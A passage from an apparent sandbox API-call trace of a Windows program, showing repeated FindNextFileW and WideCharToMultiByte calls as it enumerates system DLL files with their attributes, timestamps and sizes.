ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0261.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0261.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1efc120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0261.037] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0261.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0261.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x1efc288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0261.037] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0261.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.037] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0261.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.038] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0261.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0261.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x1efc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0261.038] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0261.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.038] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0261.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.038] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0261.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.038] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0261.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0261.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x1efc120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0261.038] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0261.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.039] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0261.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.039] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0261.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x1efc288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0261.039] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0261.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.039] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0261.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0261.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x1efc288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0261.039] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0261.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.039] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0261.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x1efc288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0261.040] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0261.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.040] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0261.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.040] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0261.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0261.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x1efc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0261.040] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0261.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.040] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0261.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.040] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0261.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.040] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0261.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, 